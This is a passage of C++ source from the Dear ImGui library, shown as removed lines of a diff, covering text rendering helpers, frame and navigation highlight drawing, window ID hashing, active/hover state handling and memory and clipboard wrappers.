ImGuiCol_TitleBgActive: return "TitleBgActive"; - case ImGuiCol_TitleBgCollapsed: return "TitleBgCollapsed"; - case ImGuiCol_MenuBarBg: return "MenuBarBg"; - case ImGuiCol_ScrollbarBg: return "ScrollbarBg"; - case ImGuiCol_ScrollbarGrab: return "ScrollbarGrab"; - case ImGuiCol_ScrollbarGrabHovered: return "ScrollbarGrabHovered"; - case ImGuiCol_ScrollbarGrabActive: return "ScrollbarGrabActive"; - case ImGuiCol_CheckMark: return "CheckMark"; - case ImGuiCol_SliderGrab: return "SliderGrab"; - case ImGuiCol_SliderGrabActive: return "SliderGrabActive"; - case ImGuiCol_Button: return "Button"; - case ImGuiCol_ButtonHovered: return "ButtonHovered"; - case ImGuiCol_ButtonActive: return "ButtonActive"; - case ImGuiCol_Header: return "Header"; - case ImGuiCol_HeaderHovered: return "HeaderHovered"; - case ImGuiCol_HeaderActive: return "HeaderActive"; - case ImGuiCol_Separator: return "Separator"; - case ImGuiCol_SeparatorHovered: return "SeparatorHovered"; - case ImGuiCol_SeparatorActive: return "SeparatorActive"; - case ImGuiCol_ResizeGrip: return "ResizeGrip"; - case ImGuiCol_ResizeGripHovered: return "ResizeGripHovered"; - case ImGuiCol_ResizeGripActive: return "ResizeGripActive"; - case ImGuiCol_Tab: return "Tab"; - case ImGuiCol_TabHovered: return "TabHovered"; - case ImGuiCol_TabActive: return "TabActive"; - case ImGuiCol_TabUnfocused: return "TabUnfocused"; - case ImGuiCol_TabUnfocusedActive: return "TabUnfocusedActive"; - case ImGuiCol_PlotLines: return "PlotLines"; - case ImGuiCol_PlotLinesHovered: return "PlotLinesHovered"; - case ImGuiCol_PlotHistogram: return "PlotHistogram"; - case ImGuiCol_PlotHistogramHovered: return "PlotHistogramHovered"; - case ImGuiCol_TableHeaderBg: return "TableHeaderBg"; - case ImGuiCol_TableBorderStrong: return "TableBorderStrong"; - case ImGuiCol_TableBorderLight: return "TableBorderLight"; - case ImGuiCol_TableRowBg: return "TableRowBg"; - case ImGuiCol_TableRowBgAlt: return "TableRowBgAlt"; - case ImGuiCol_TextSelectedBg: return "TextSelectedBg"; - case ImGuiCol_DragDropTarget: return "DragDropTarget"; - case ImGuiCol_NavHighlight: return "NavHighlight"; - case ImGuiCol_NavWindowingHighlight: return "NavWindowingHighlight"; - case ImGuiCol_NavWindowingDimBg: return "NavWindowingDimBg"; - case ImGuiCol_ModalWindowDimBg: return "ModalWindowDimBg"; - } - IM_ASSERT(0); - return "Unknown"; -} - - -//----------------------------------------------------------------------------- -// [SECTION] RENDER HELPERS -// Some of those (internal) functions are currently quite a legacy mess - their signature and behavior will change, -// we need a nicer separation between low-level functions and high-level functions relying on the ImGui context. -// Also see imgui_draw.cpp for some more which have been reworked to not rely on ImGui:: context. -//----------------------------------------------------------------------------- - -const char* ImGui::FindRenderedTextEnd(const char* text, const char* text_end) -{ - const char* text_display_end = text; - if (!text_end) - text_end = (const char*)-1; - - while (text_display_end < text_end && *text_display_end != '\0' && (text_display_end[0] != '#' || text_display_end[1] != '#')) - text_display_end++; - return text_display_end; -} - -// Internal ImGui functions to render text -// RenderText***() functions calls ImDrawList::AddText() calls ImBitmapFont::RenderText() -void ImGui::RenderText(ImVec2 pos, const char* text, const char* text_end, bool hide_text_after_hash) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - - // Hide anything after a '##' string - const char* text_display_end; - if (hide_text_after_hash) - { - text_display_end = FindRenderedTextEnd(text, text_end); - } - else - { - if (!text_end) - text_end = text + strlen(text); // FIXME-OPT - text_display_end = text_end; - } - - if (text != text_display_end) - { - window->DrawList->AddText(g.Font, g.FontSize, pos, GetColorU32(ImGuiCol_Text), text, text_display_end); - if (g.LogEnabled) - LogRenderedText(&pos, text, text_display_end); - } -} - -void ImGui::RenderTextWrapped(ImVec2 pos, const char* text, const char* text_end, float wrap_width) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - - if (!text_end) - text_end = text + strlen(text); // FIXME-OPT - - if (text != text_end) - { - window->DrawList->AddText(g.Font, g.FontSize, pos, GetColorU32(ImGuiCol_Text), text, text_end, wrap_width); - if (g.LogEnabled) - LogRenderedText(&pos, text, text_end); - } -} - -// Default clip_rect uses (pos_min,pos_max) -// Handle clipping on CPU immediately (vs typically let the GPU clip the triangles that are overlapping the clipping rectangle edges) -void ImGui::RenderTextClippedEx(ImDrawList* draw_list, const ImVec2& pos_min, const ImVec2& pos_max, const char* text, const char* text_display_end, const ImVec2* text_size_if_known, const ImVec2& align, const ImRect* clip_rect) -{ - // Perform CPU side clipping for single clipped element to avoid using scissor state - ImVec2 pos = pos_min; - const ImVec2 text_size = text_size_if_known ? *text_size_if_known : CalcTextSize(text, text_display_end, false, 0.0f); - - const ImVec2* clip_min = clip_rect ? &clip_rect->Min : &pos_min; - const ImVec2* clip_max = clip_rect ? &clip_rect->Max : &pos_max; - bool need_clipping = (pos.x + text_size.x >= clip_max->x) || (pos.y + text_size.y >= clip_max->y); - if (clip_rect) // If we had no explicit clipping rectangle then pos==clip_min - need_clipping |= (pos.x < clip_min->x) || (pos.y < clip_min->y); - - // Align whole block. We should defer that to the better rendering function when we'll have support for individual line alignment. - if (align.x > 0.0f) pos.x = ImMax(pos.x, pos.x + (pos_max.x - pos.x - text_size.x) * align.x); - if (align.y > 0.0f) pos.y = ImMax(pos.y, pos.y + (pos_max.y - pos.y - text_size.y) * align.y); - - // Render - if (need_clipping) - { - ImVec4 fine_clip_rect(clip_min->x, clip_min->y, clip_max->x, clip_max->y); - draw_list->AddText(NULL, 0.0f, pos, GetColorU32(ImGuiCol_Text), text, text_display_end, 0.0f, &fine_clip_rect); - } - else - { - draw_list->AddText(NULL, 0.0f, pos, GetColorU32(ImGuiCol_Text), text, text_display_end, 0.0f, NULL); - } -} - -void ImGui::RenderTextClipped(const ImVec2& pos_min, const ImVec2& pos_max, const char* text, const char* text_end, const ImVec2* text_size_if_known, const ImVec2& align, const ImRect* clip_rect) -{ - // Hide anything after a '##' string - const char* text_display_end = FindRenderedTextEnd(text, text_end); - const int text_len = (int)(text_display_end - text); - if (text_len == 0) - return; - - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - RenderTextClippedEx(window->DrawList, pos_min, pos_max, text, text_display_end, text_size_if_known, align, clip_rect); - if (g.LogEnabled) - LogRenderedText(&pos_min, text, text_display_end); -} - - -// Another overly complex function until we reorganize everything into a nice all-in-one helper. -// This is made more complex because we have dissociated the layout rectangle (pos_min..pos_max) which define _where_ the ellipsis is, from actual clipping of text and limit of the ellipsis display. -// This is because in the context of tabs we selectively hide part of the text when the Close Button appears, but we don't want the ellipsis to move. -void ImGui::RenderTextEllipsis(ImDrawList* draw_list, const ImVec2& pos_min, const ImVec2& pos_max, float clip_max_x, float ellipsis_max_x, const char* text, const char* text_end_full, const ImVec2* text_size_if_known) -{ - ImGuiContext& g = *GImGui; - if (text_end_full == NULL) - text_end_full = FindRenderedTextEnd(text); - const ImVec2 text_size = text_size_if_known ? *text_size_if_known : CalcTextSize(text, text_end_full, false, 0.0f); - - //draw_list->AddLine(ImVec2(pos_max.x, pos_min.y - 4), ImVec2(pos_max.x, pos_max.y + 4), IM_COL32(0, 0, 255, 255)); - //draw_list->AddLine(ImVec2(ellipsis_max_x, pos_min.y-2), ImVec2(ellipsis_max_x, pos_max.y+2), IM_COL32(0, 255, 0, 255)); - //draw_list->AddLine(ImVec2(clip_max_x, pos_min.y), ImVec2(clip_max_x, pos_max.y), IM_COL32(255, 0, 0, 255)); - // FIXME: We could technically remove (last_glyph->AdvanceX - last_glyph->X1) from text_size.x here and save a few pixels. - if (text_size.x > pos_max.x - pos_min.x) - { - // Hello wo... - // | | | - // min max ellipsis_max - // <-> this is generally some padding value - - const ImFont* font = draw_list->_Data->Font; - const float font_size = draw_list->_Data->FontSize; - const char* text_end_ellipsis = NULL; - - ImWchar ellipsis_char = font->EllipsisChar; - int ellipsis_char_count = 1; - if (ellipsis_char == (ImWchar)-1) - { - ellipsis_char = (ImWchar)'.'; - ellipsis_char_count = 3; - } - const ImFontGlyph* glyph = font->FindGlyph(ellipsis_char); - - float ellipsis_glyph_width = glyph->X1; // Width of the glyph with no padding on either side - float ellipsis_total_width = ellipsis_glyph_width; // Full width of entire ellipsis - - if (ellipsis_char_count > 1) - { - // Full ellipsis size without free spacing after it. - const float spacing_between_dots = 1.0f * (draw_list->_Data->FontSize / font->FontSize); - ellipsis_glyph_width = glyph->X1 - glyph->X0 + spacing_between_dots; - ellipsis_total_width = ellipsis_glyph_width * (float)ellipsis_char_count - spacing_between_dots; - } - - // We can now claim the space between pos_max.x and ellipsis_max.x - const float text_avail_width = ImMax((ImMax(pos_max.x, ellipsis_max_x) - ellipsis_total_width) - pos_min.x, 1.0f); - float text_size_clipped_x = font->CalcTextSizeA(font_size, text_avail_width, 0.0f, text, text_end_full, &text_end_ellipsis).x; - if (text == text_end_ellipsis && text_end_ellipsis < text_end_full) - { - // Always display at least 1 character if there's no room for character + ellipsis - text_end_ellipsis = text + ImTextCountUtf8BytesFromChar(text, text_end_full); - text_size_clipped_x = font->CalcTextSizeA(font_size, FLT_MAX, 0.0f, text, text_end_ellipsis).x; - } - while (text_end_ellipsis > text && ImCharIsBlankA(text_end_ellipsis[-1])) - { - // Trim trailing space before ellipsis (FIXME: Supporting non-ascii blanks would be nice, for this we need a function to backtrack in UTF-8 text) - text_end_ellipsis--; - text_size_clipped_x -= font->CalcTextSizeA(font_size, FLT_MAX, 0.0f, text_end_ellipsis, text_end_ellipsis + 1).x; // Ascii blanks are always 1 byte - } - - // Render text, render ellipsis - RenderTextClippedEx(draw_list, pos_min, ImVec2(clip_max_x, pos_max.y), text, text_end_ellipsis, &text_size, ImVec2(0.0f, 0.0f)); - float ellipsis_x = pos_min.x + text_size_clipped_x; - if (ellipsis_x + ellipsis_total_width <= ellipsis_max_x) - for (int i = 0; i < ellipsis_char_count; i++) - { - font->RenderChar(draw_list, font_size, ImVec2(ellipsis_x, pos_min.y), GetColorU32(ImGuiCol_Text), ellipsis_char); - ellipsis_x += ellipsis_glyph_width; - } - } - else - { - RenderTextClippedEx(draw_list, pos_min, ImVec2(clip_max_x, pos_max.y), text, text_end_full, &text_size, ImVec2(0.0f, 0.0f)); - } - - if (g.LogEnabled) - LogRenderedText(&pos_min, text, text_end_full); -} - -// Render a rectangle shaped with optional rounding and borders -void ImGui::RenderFrame(ImVec2 p_min, ImVec2 p_max, ImU32 fill_col, bool border, float rounding) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - window->DrawList->AddRectFilled(p_min, p_max, fill_col, rounding); - const float border_size = g.Style.FrameBorderSize; - if (border && border_size > 0.0f) - { - window->DrawList->AddRect(p_min + ImVec2(1, 1), p_max + ImVec2(1, 1), GetColorU32(ImGuiCol_BorderShadow), rounding, ImDrawCornerFlags_All, border_size); - window->DrawList->AddRect(p_min, p_max, GetColorU32(ImGuiCol_Border), rounding, ImDrawCornerFlags_All, border_size); - } -} - -void ImGui::RenderFrameBorder(ImVec2 p_min, ImVec2 p_max, float rounding) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - const float border_size = g.Style.FrameBorderSize; - if (border_size > 0.0f) - { - window->DrawList->AddRect(p_min + ImVec2(1, 1), p_max + ImVec2(1, 1), GetColorU32(ImGuiCol_BorderShadow), rounding, ImDrawCornerFlags_All, border_size); - window->DrawList->AddRect(p_min, p_max, GetColorU32(ImGuiCol_Border), rounding, ImDrawCornerFlags_All, border_size); - } -} - -void ImGui::RenderNavHighlight(const ImRect& bb, ImGuiID id, ImGuiNavHighlightFlags flags) -{ - ImGuiContext& g = *GImGui; - if (id != g.NavId) - return; - if (g.NavDisableHighlight && !(flags & ImGuiNavHighlightFlags_AlwaysDraw)) - return; - ImGuiWindow* window = g.CurrentWindow; - if (window->DC.NavHideHighlightOneFrame) - return; - - float rounding = (flags & ImGuiNavHighlightFlags_NoRounding) ? 0.0f : g.Style.FrameRounding; - ImRect display_rect = bb; - display_rect.ClipWith(window->ClipRect); - if (flags & ImGuiNavHighlightFlags_TypeDefault) - { - const float THICKNESS = 2.0f; - const float DISTANCE = 3.0f + THICKNESS * 0.5f; - display_rect.Expand(ImVec2(DISTANCE, DISTANCE)); - bool fully_visible = window->ClipRect.Contains(display_rect); - if (!fully_visible) - window->DrawList->PushClipRect(display_rect.Min, display_rect.Max); - window->DrawList->AddRect(display_rect.Min + ImVec2(THICKNESS * 0.5f, THICKNESS * 0.5f), display_rect.Max - ImVec2(THICKNESS * 0.5f, THICKNESS * 0.5f), GetColorU32(ImGuiCol_NavHighlight), rounding, ImDrawCornerFlags_All, THICKNESS); - if (!fully_visible) - window->DrawList->PopClipRect(); - } - if (flags & ImGuiNavHighlightFlags_TypeThin) - { - window->DrawList->AddRect(display_rect.Min, display_rect.Max, GetColorU32(ImGuiCol_NavHighlight), rounding, ~0, 1.0f); - } -} - -//----------------------------------------------------------------------------- -// [SECTION] MAIN CODE (most of the code! lots of stuff, needs tidying up!) -//----------------------------------------------------------------------------- - -// ImGuiWindow is mostly a dumb struct. It merely has a constructor and a few helper methods -ImGuiWindow::ImGuiWindow(ImGuiContext* context, const char* name) : DrawListInst(NULL) -{ - memset(this, 0, sizeof(*this)); - Name = ImStrdup(name); - NameBufLen = (int)strlen(name) + 1; - ID = ImHashStr(name); - IDStack.push_back(ID); - MoveId = GetID("#MOVE"); - ScrollTarget = ImVec2(FLT_MAX, FLT_MAX); - ScrollTargetCenterRatio = ImVec2(0.5f, 0.5f); - AutoFitFramesX = AutoFitFramesY = -1; - AutoPosLastDirection = ImGuiDir_None; - SetWindowPosAllowFlags = SetWindowSizeAllowFlags = SetWindowCollapsedAllowFlags = ImGuiCond_Always | ImGuiCond_Once | ImGuiCond_FirstUseEver | ImGuiCond_Appearing; - SetWindowPosVal = SetWindowPosPivot = ImVec2(FLT_MAX, FLT_MAX); - LastFrameActive = -1; - LastTimeActive = -1.0f; - FontWindowScale = 1.0f; - SettingsOffset = -1; - DrawList = &DrawListInst; - DrawList->_Data = &context->DrawListSharedData; - DrawList->_OwnerName = Name; -} - -ImGuiWindow::~ImGuiWindow() -{ - IM_ASSERT(DrawList == &DrawListInst); - IM_DELETE(Name); - for (int i = 0; i != ColumnsStorage.Size; i++) - ColumnsStorage[i].~ImGuiOldColumns(); -} - -ImGuiID ImGuiWindow::GetID(const char* str, const char* str_end) -{ - ImGuiID seed = IDStack.back(); - ImGuiID id = ImHashStr(str, str_end ? (str_end - str) : 0, seed); - ImGui::KeepAliveID(id); -#ifdef IMGUI_ENABLE_TEST_ENGINE - ImGuiContext& g = *GImGui; - IMGUI_TEST_ENGINE_ID_INFO2(id, ImGuiDataType_String, str, str_end); -#endif - return id; -} - -ImGuiID ImGuiWindow::GetID(const void* ptr) -{ - ImGuiID seed = IDStack.back(); - ImGuiID id = ImHashData(&ptr, sizeof(void*), seed); - ImGui::KeepAliveID(id); -#ifdef IMGUI_ENABLE_TEST_ENGINE - ImGuiContext& g = *GImGui; - IMGUI_TEST_ENGINE_ID_INFO(id, ImGuiDataType_Pointer, ptr); -#endif - return id; -} - -ImGuiID ImGuiWindow::GetID(int n) -{ - ImGuiID seed = IDStack.back(); - ImGuiID id = ImHashData(&n, sizeof(n), seed); - ImGui::KeepAliveID(id); -#ifdef IMGUI_ENABLE_TEST_ENGINE - ImGuiContext& g = *GImGui; - IMGUI_TEST_ENGINE_ID_INFO(id, ImGuiDataType_S32, (intptr_t)n); -#endif - return id; -} - -ImGuiID ImGuiWindow::GetIDNoKeepAlive(const char* str, const char* str_end) -{ - ImGuiID seed = IDStack.back(); - ImGuiID id = ImHashStr(str, str_end ? (str_end - str) : 0, seed); -#ifdef IMGUI_ENABLE_TEST_ENGINE - ImGuiContext& g = *GImGui; - IMGUI_TEST_ENGINE_ID_INFO2(id, ImGuiDataType_String, str, str_end); -#endif - return id; -} - -ImGuiID ImGuiWindow::GetIDNoKeepAlive(const void* ptr) -{ - ImGuiID seed = IDStack.back(); - ImGuiID id = ImHashData(&ptr, sizeof(void*), seed); -#ifdef IMGUI_ENABLE_TEST_ENGINE - ImGuiContext& g = *GImGui; - IMGUI_TEST_ENGINE_ID_INFO(id, ImGuiDataType_Pointer, ptr); -#endif - return id; -} - -ImGuiID ImGuiWindow::GetIDNoKeepAlive(int n) -{ - ImGuiID seed = IDStack.back(); - ImGuiID id = ImHashData(&n, sizeof(n), seed); -#ifdef IMGUI_ENABLE_TEST_ENGINE - ImGuiContext& g = *GImGui; - IMGUI_TEST_ENGINE_ID_INFO(id, ImGuiDataType_S32, (intptr_t)n); -#endif - return id; -} - -// This is only used in rare/specific situations to manufacture an ID out of nowhere. -ImGuiID ImGuiWindow::GetIDFromRectangle(const ImRect& r_abs) -{ - ImGuiID seed = IDStack.back(); - const int r_rel[4] = { (int)(r_abs.Min.x - Pos.x), (int)(r_abs.Min.y - Pos.y), (int)(r_abs.Max.x - Pos.x), (int)(r_abs.Max.y - Pos.y) }; - ImGuiID id = ImHashData(&r_rel, sizeof(r_rel), seed); - ImGui::KeepAliveID(id); - return id; -} - -static void SetCurrentWindow(ImGuiWindow* window) -{ - ImGuiContext& g = *GImGui; - g.CurrentWindow = window; - g.CurrentTable = window && window->DC.CurrentTableIdx != -1 ? g.Tables.GetByIndex(window->DC.CurrentTableIdx) : NULL; - if (window) - g.FontSize = g.DrawListSharedData.FontSize = window->CalcFontSize(); -} - -void ImGui::GcCompactTransientMiscBuffers() -{ - ImGuiContext& g = *GImGui; - g.ItemFlagsStack.clear(); - g.GroupStack.clear(); - TableGcCompactSettings(); -} - -// Free up/compact internal window buffers, we can use this when a window becomes unused. -// Not freed: -// - ImGuiWindow, ImGuiWindowSettings, Name, StateStorage, ColumnsStorage (may hold useful data) -// This should have no noticeable visual effect. When the window reappear however, expect new allocation/buffer growth/copy cost. -void ImGui::GcCompactTransientWindowBuffers(ImGuiWindow* window) -{ - window->MemoryCompacted = true; - window->MemoryDrawListIdxCapacity = window->DrawList->IdxBuffer.Capacity; - window->MemoryDrawListVtxCapacity = window->DrawList->VtxBuffer.Capacity; - window->IDStack.clear(); - window->DrawList->_ClearFreeMemory(); - window->DC.ChildWindows.clear(); - window->DC.ItemWidthStack.clear(); - window->DC.TextWrapPosStack.clear(); -} - -void ImGui::GcAwakeTransientWindowBuffers(ImGuiWindow* window) -{ - // We stored capacity of the ImDrawList buffer to reduce growth-caused allocation/copy when awakening. - // The other buffers tends to amortize much faster. - window->MemoryCompacted = false; - window->DrawList->IdxBuffer.reserve(window->MemoryDrawListIdxCapacity); - window->DrawList->VtxBuffer.reserve(window->MemoryDrawListVtxCapacity); - window->MemoryDrawListIdxCapacity = window->MemoryDrawListVtxCapacity = 0; -} - -void ImGui::SetActiveID(ImGuiID id, ImGuiWindow* window) -{ - ImGuiContext& g = *GImGui; - g.ActiveIdIsJustActivated = (g.ActiveId != id); - if (g.ActiveIdIsJustActivated) - { - g.ActiveIdTimer = 0.0f; - g.ActiveIdHasBeenPressedBefore = false; - g.ActiveIdHasBeenEditedBefore = false; - g.ActiveIdMouseButton = -1; - if (id != 0) - { - g.LastActiveId = id; - g.LastActiveIdTimer = 0.0f; - } - } - g.ActiveId = id; - g.ActiveIdAllowOverlap = false; - g.ActiveIdNoClearOnFocusLoss = false; - g.ActiveIdWindow = window; - g.ActiveIdHasBeenEditedThisFrame = false; - if (id) - { - g.ActiveIdIsAlive = id; - g.ActiveIdSource = (g.NavActivateId == id || g.NavInputId == id || g.NavJustTabbedId == id || g.NavJustMovedToId == id) ? ImGuiInputSource_Nav : ImGuiInputSource_Mouse; - } - - // Clear declaration of inputs claimed by the widget - // (Please note that this is WIP and not all keys/inputs are thoroughly declared by all widgets yet) - g.ActiveIdUsingMouseWheel = false; - g.ActiveIdUsingNavDirMask = 0x00; - g.ActiveIdUsingNavInputMask = 0x00; - g.ActiveIdUsingKeyInputMask = 0x00; -} - -void ImGui::ClearActiveID() -{ - SetActiveID(0, NULL); // g.ActiveId = 0; -} - -void ImGui::SetHoveredID(ImGuiID id) -{ - ImGuiContext& g = *GImGui; - g.HoveredId = id; - g.HoveredIdAllowOverlap = false; - g.HoveredIdUsingMouseWheel = false; - if (id != 0 && g.HoveredIdPreviousFrame != id) - g.HoveredIdTimer = g.HoveredIdNotActiveTimer = 0.0f; -} - -ImGuiID ImGui::GetHoveredID() -{ - ImGuiContext& g = *GImGui; - return g.HoveredId ? g.HoveredId : g.HoveredIdPreviousFrame; -} - -void ImGui::KeepAliveID(ImGuiID id) -{ - ImGuiContext& g = *GImGui; - if (g.ActiveId == id) - g.ActiveIdIsAlive = id; - if (g.ActiveIdPreviousFrame == id) - g.ActiveIdPreviousFrameIsAlive = true; -} - -void ImGui::MarkItemEdited(ImGuiID id) -{ - // This marking is solely to be able to provide info for IsItemDeactivatedAfterEdit(). - // ActiveId might have been released by the time we call this (as in the typical press/release button behavior) but still need need to fill the data. - ImGuiContext& g = *GImGui; - IM_ASSERT(g.ActiveId == id || g.ActiveId == 0 || g.DragDropActive); - IM_UNUSED(id); // Avoid unused variable warnings when asserts are compiled out. - //IM_ASSERT(g.CurrentWindow->DC.LastItemId == id); - g.ActiveIdHasBeenEditedThisFrame = true; - g.ActiveIdHasBeenEditedBefore = true; - g.CurrentWindow->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_Edited; -} - -static inline bool IsWindowContentHoverable(ImGuiWindow* window, ImGuiHoveredFlags flags) -{ - // An active popup disable hovering on other windows (apart from its own children) - // FIXME-OPT: This could be cached/stored within the window. - ImGuiContext& g = *GImGui; - if (g.NavWindow) - if (ImGuiWindow* focused_root_window = g.NavWindow->RootWindow) - if (focused_root_window->WasActive && focused_root_window != window->RootWindow) - { - // For the purpose of those flags we differentiate "standard popup" from "modal popup" - // NB: The order of those two tests is important because Modal windows are also Popups. - if (focused_root_window->Flags & ImGuiWindowFlags_Modal) - return false; - if ((focused_root_window->Flags & ImGuiWindowFlags_Popup) && !(flags & ImGuiHoveredFlags_AllowWhenBlockedByPopup)) - return false; - } - return true; -} - -// This is roughly matching the behavior of internal-facing ItemHoverable() -// - we allow hovering to be true when ActiveId==window->MoveID, so that clicking on non-interactive items such as a Text() item still returns true with IsItemHovered() -// - this should work even for non-interactive items that have no ID, so we cannot use LastItemId -bool ImGui::IsItemHovered(ImGuiHoveredFlags flags) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - if (g.NavDisableMouseHover && !g.NavDisableHighlight) - return IsItemFocused(); - - // Test for bounding box overlap, as updated as ItemAdd() - ImGuiItemStatusFlags status_flags = window->DC.LastItemStatusFlags; - if (!(status_flags & ImGuiItemStatusFlags_HoveredRect)) - return false; - IM_ASSERT((flags & (ImGuiHoveredFlags_RootWindow | ImGuiHoveredFlags_ChildWindows)) == 0); // Flags not supported by this function - - // Test if we are hovering the right window (our window could be behind another window) - // [2021/03/02] Reworked / reverted the revert, finally. Note we want e.g. BeginGroup/ItemAdd/EndGroup to work as well. (#3851) - // [2017/10/16] Reverted commit 344d48be3 and testing RootWindow instead. I believe it is correct to NOT test for RootWindow but this leaves us unable - // to use IsItemHovered() after EndChild() itself. Until a solution is found I believe reverting to the test from 2017/09/27 is safe since this was - // the test that has been running for a long while. - if (g.HoveredWindow != window && (status_flags & ImGuiItemStatusFlags_HoveredWindow) == 0) - if ((flags & ImGuiHoveredFlags_AllowWhenOverlapped) == 0) - return false; - - // Test if another item is active (e.g. being dragged) - if ((flags & ImGuiHoveredFlags_AllowWhenBlockedByActiveItem) == 0) - if (g.ActiveId != 0 && g.ActiveId != window->DC.LastItemId && !g.ActiveIdAllowOverlap && g.ActiveId != window->MoveId) - return false; - - // Test if interactions on this window are blocked by an active popup or modal. - // The ImGuiHoveredFlags_AllowWhenBlockedByPopup flag will be tested here. - if (!IsWindowContentHoverable(window, flags)) - return false; - - // Test if the item is disabled - if ((window->DC.ItemFlags & ImGuiItemFlags_Disabled) && !(flags & ImGuiHoveredFlags_AllowWhenDisabled)) - return false; - - // Special handling for calling after Begin() which represent the title bar or tab. - // When the window is collapsed (SkipItems==true) that last item will never be overwritten so we need to detect the case. - if (window->DC.LastItemId == window->MoveId && window->WriteAccessed) - return false; - return true; -} - -// Internal facing ItemHoverable() used when submitting widgets. Differs slightly from IsItemHovered(). -bool ImGui::ItemHoverable(const ImRect& bb, ImGuiID id) -{ - ImGuiContext& g = *GImGui; - if (g.HoveredId != 0 && g.HoveredId != id && !g.HoveredIdAllowOverlap) - return false; - - ImGuiWindow* window = g.CurrentWindow; - if (g.HoveredWindow != window) - return false; - if (g.ActiveId != 0 && g.ActiveId != id && !g.ActiveIdAllowOverlap) - return false; - if (!IsMouseHoveringRect(bb.Min, bb.Max)) - return false; - if (g.NavDisableMouseHover) - return false; - if (!IsWindowContentHoverable(window, ImGuiHoveredFlags_None) || (window->DC.ItemFlags & ImGuiItemFlags_Disabled)) - { - g.HoveredIdDisabled = true; - return false; - } - - // We exceptionally allow this function to be called with id==0 to allow using it for easy high-level - // hover test in widgets code. We could also decide to split this function is two. - if (id != 0) - { - SetHoveredID(id); - - // [DEBUG] Item Picker tool! - // We perform the check here because SetHoveredID() is not frequently called (1~ time a frame), making - // the cost of this tool near-zero. We can get slightly better call-stack and support picking non-hovered - // items if we perform the test in ItemAdd(), but that would incur a small runtime cost. - // #define IMGUI_DEBUG_TOOL_ITEM_PICKER_EX in imconfig.h if you want this check to also be performed in ItemAdd(). - if (g.DebugItemPickerActive && g.HoveredIdPreviousFrame == id) - GetForegroundDrawList()->AddRect(bb.Min, bb.Max, IM_COL32(255, 255, 0, 255)); - if (g.DebugItemPickerBreakId == id) - IM_DEBUG_BREAK(); - } - - return true; -} - -bool ImGui::IsClippedEx(const ImRect& bb, ImGuiID id, bool clip_even_when_logged) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - if (!bb.Overlaps(window->ClipRect)) - if (id == 0 || (id != g.ActiveId && id != g.NavId)) - if (clip_even_when_logged || !g.LogEnabled) - return true; - return false; -} - -// This is also inlined in ItemAdd() -// Note: if ImGuiItemStatusFlags_HasDisplayRect is set, user needs to set window->DC.LastItemDisplayRect! -void ImGui::SetLastItemData(ImGuiWindow* window, ImGuiID item_id, ImGuiItemStatusFlags item_flags, const ImRect& item_rect) -{ - window->DC.LastItemId = item_id; - window->DC.LastItemStatusFlags = item_flags; - window->DC.LastItemRect = item_rect; -} - -// Process TAB/Shift+TAB. Be mindful that this function may _clear_ the ActiveID when tabbing out. -bool ImGui::FocusableItemRegister(ImGuiWindow* window, ImGuiID id) -{ - ImGuiContext& g = *GImGui; - - // Increment counters - const bool is_tab_stop = (window->DC.ItemFlags & (ImGuiItemFlags_NoTabStop | ImGuiItemFlags_Disabled)) == 0; - window->DC.FocusCounterRegular++; - if (is_tab_stop) - window->DC.FocusCounterTabStop++; - - // Process TAB/Shift-TAB to tab *OUT* of the currently focused item. - // (Note that we can always TAB out of a widget that doesn't allow tabbing in) - if (g.ActiveId == id && g.FocusTabPressed && !IsActiveIdUsingKey(ImGuiKey_Tab) && g.FocusRequestNextWindow == NULL) - { - g.FocusRequestNextWindow = window; - g.FocusRequestNextCounterTabStop = window->DC.FocusCounterTabStop + (g.IO.KeyShift ? (is_tab_stop ? -1 : 0) : +1); // Modulo on index will be applied at the end of frame once we've got the total counter of items. - } - - // Handle focus requests - if (g.FocusRequestCurrWindow == window) - { - if (window->DC.FocusCounterRegular == g.FocusRequestCurrCounterRegular) - return true; - if (is_tab_stop && window->DC.FocusCounterTabStop == g.FocusRequestCurrCounterTabStop) - { - g.NavJustTabbedId = id; - return true; - } - - // If another item is about to be focused, we clear our own active id - if (g.ActiveId == id) - ClearActiveID(); - } - - return false; -} - -void ImGui::FocusableItemUnregister(ImGuiWindow* window) -{ - window->DC.FocusCounterRegular--; - window->DC.FocusCounterTabStop--; -} - -float ImGui::CalcWrapWidthForPos(const ImVec2& pos, float wrap_pos_x) -{ - if (wrap_pos_x < 0.0f) - return 0.0f; - - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - if (wrap_pos_x == 0.0f) - { - // We could decide to setup a default wrapping max point for auto-resizing windows, - // or have auto-wrap (with unspecified wrapping pos) behave as a ContentSize extending function? - //if (window->Hidden && (window->Flags & ImGuiWindowFlags_AlwaysAutoResize)) - // wrap_pos_x = ImMax(window->WorkRect.Min.x + g.FontSize * 10.0f, window->WorkRect.Max.x); - //else - wrap_pos_x = window->WorkRect.Max.x; - } - else if (wrap_pos_x > 0.0f) - { - wrap_pos_x += window->Pos.x - window->Scroll.x; // wrap_pos_x is provided is window local space - } - - return ImMax(wrap_pos_x - pos.x, 1.0f); -} - -// IM_ALLOC() == ImGui::MemAlloc() -void* ImGui::MemAlloc(size_t size) -{ - if (ImGuiContext* ctx = GImGui) - ctx->IO.MetricsActiveAllocations++; - return (*GImAllocatorAllocFunc)(size, GImAllocatorUserData); -} - -// IM_FREE() == ImGui::MemFree() -void ImGui::MemFree(void* ptr) -{ - if (ptr) - if (ImGuiContext* ctx = GImGui) - ctx->IO.MetricsActiveAllocations--; - return (*GImAllocatorFreeFunc)(ptr, GImAllocatorUserData); -} - -const char* ImGui::GetClipboardText() -{ - ImGuiContext& g = *GImGui; - return g.IO.GetClipboardTextFn ? g.IO.GetClipboardTextFn(g.IO.ClipboardUserData) : ""; -} - -void ImGui::SetClipboardText(const char* text) -{ - ImGuiContext& g = *GImGui; - if (g.IO.SetClipboardTextFn) - g.IO.SetClipboardTextFn(g.IO.ClipboardUserData, text); -} - -const char* ImGui::GetVersion() -{ - return 